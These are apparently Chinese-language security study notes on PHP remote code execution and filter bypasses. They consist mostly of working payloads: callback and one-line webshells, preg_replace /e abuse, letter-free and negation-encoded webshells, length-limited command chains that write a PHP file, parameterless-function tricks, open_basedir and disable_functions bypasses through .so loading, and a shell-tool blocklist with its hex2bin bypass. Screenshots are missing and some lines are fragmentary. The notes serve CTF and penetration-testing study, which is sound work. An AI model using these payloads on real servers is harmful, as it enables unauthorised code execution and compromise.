知识点
php命令执行函数:

system
shell_exec
proc_open
exec
passthru
php代码执行函数:
eval
assert
回调函数:

php
<?php
error_reporting(E_ALL);
function increment(&$var)
{
$var++;
}
$a = 0;
call_user_func('increment', $a);
echo $a."\n";
// it is possible to use this instead
call_user_func_array('increment', array(&$a));
echo $a."\n";
?>
回调函数后门举例:
call_user_func
php
call_user_func('system','whoami)
源码:

结果:

assert函数php7.4以后被弃用
蚁剑连接:

为什么会失败:




eval和assert功能看起来一样,到底有什么不同:
php
<?php
$_GET[0]($_GET[1]);
?>
assert:

eval:

原因:
核心:PHP 压根不认 eval 是一个可调用的函数
eval 是语言构造,不是函数
call_user_func_array()
php
call_user_func_array('assert',array($_REQUEST['pass']));

三个参数回调函数:
preg_repalce/e

php
preg_replace("匹配模式","替换内容","原始内容")
/e修饰符 匹配成功后使用eval执行
php
<?php
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
问题:
-
PHP中命名规则是没有 (. )的,而且一些非法字符是会被替换成 _
-
PHP中双引号包裹的字符串中可以解析变量,而单引号则不行,${phpinfo()}
php7.3及以后无法使用/e
php5.6下:

preg_replace第一个参数使用数组
php
<?php
preg_replace(['/.*/e'],'\0',$_REQUEST[2])
?>

php5.6可用,7.3及以后/e被废弃
分割符也可以是()、<>、{}、[]
可以在多个修饰符间添加换行和空格
curl绕过open_basedir:两种方法
fill协议
加载.so文件
污点追踪:source sink
污点追踪链中断
linux中*可作为通配符使用,在输入*后,linux会将该目录下第一个文件名作为命令,剩下的的文件名当作参数

current()函数:

localtime()函数:

复现:
绕 过open_basedir 和 disable_functions


在 php8.3里有一个issue,提到可以用 curl 绕过 open_basedir:https://github.com/php/php-src/issues/16802 但是php8.5 这个poc是打不通的
curl 加载动态库链接本来就能导致 RCE:https://hackerone.com/reports/3293801,通过加载.so文件,不过 php 8.5 里的 curl 已经被修了
SQLite3 : loadExtension 可以加载so文件,但是这个方法限制了加载 so的目录,但 Pdo\Sqlite : loadExtension 也存在可以加载库的方法,文档里似乎没有写配置限制,并且这个方法非常的新,php 8.40以上才有

disable_functions 是 PHP 的配置项,只能用来禁止 PHP 语言层面的内建函数。阻止的是 PHP 解释器执行这些函数。这里相当于用进程空间的 C 层面直接调用了 system() ,所以拦截不了我们
问题:如何上传.so文件:file_put_contents
无字母数字webshell
php7及以前:
源代码:

思路:
通配符:
-
/???/?????????:匹配不够精确,能匹配很多
-
用
. file执行文件,是不需要file有x权限的 -
如何匹配大写字母:

ASCII码中大写写字母在@-[之间,正则匹配:[@-[]
eval执行``, `` 执行里面的内容
- eval内容:

php
?><?php`. /???/????????[@-[]`;
不能出现php
解决思路:
- 短标签:

php
?><?=`. /???/????????[@-[]`;
完成:

php7:
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持,所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。
取反:
(~%8F%97%8F%96%91%99%90)();

结果:

为什么取反结果有数字,还是执行了:
在传入内容后先进行urldecode

有限长度绕过:
php
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
如何突破<17限制
$_GET[1]

php
192.168.17.131/eval.php?param=echo`$_GET[0]`;&0=ps -ef
file_put_contents追加


c语言底层,file_put_contents中file_append对应8
file_put_contents(N,P,8),为什么第一个是P不是<,追加<会报错,<? phpinfo(); base64编码后:PD8gcGhwaW5mbygpOw

192.168.17.131/eval.php?param=include$_GET[1];&1=php://filter/read/convert.base64-decode/resource=N
<8字符限制
php
<?php
$param = $_REQUEST['param'];
If ( strlen($param) < 8 ) {
echo shell_exec($param);}
. /t*/*
5字符绕过
php
<?php
error_reporting(0);
highlight_file(__FILE__);
if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
{
echo shell_exec($_GET['cmd']);
}
?>
echo${IFS}PD9waHAgcGhwaW5mbygpOw==|base64 -d>1.php >dir >f\> >ht- >sl *>v >rev *v>a 是为了构造ls -ht > f 前面已经讲过了 f里面的值 ls -ht > f >hp >p\\ >1.\\ >\>\\ >-d\\ >\ \\ >64\\ >se\\ >ba\\ >\|\\ >\=\\ >\=\\ >Ow\\ >gp\\ >by\\ >5m\\ >aW\\ >hw\\ >cG\\ >Ag\\ >aH\\ >9w\\ >PD\\ >S}\\ >IF\\ >{\\ >\$\\ >ho\\ >ec\\ 文件名 ls -ht echo ${IFS} PD9waH sh a sh f
无参函数的绕过
php
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
apache绕过方法:
getallheaders()函数:

抓包修改参数:

nginx绕过方法:
无参读文件
思路:
show_source(array_rand(array_flip(scandir( xxx )))); xxx:利用php函数嵌套返回. 如:show_source(array_rand(array_flip(scandir(current(localeconv())))));
nainx/apache命令执行
id=system('whoami');&code=eval(current(current(get_defined_vars())));

rce多重过滤绕过
php
<?php
//ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
php -r system(hex2bin(substr(_77686f616d69,1)));

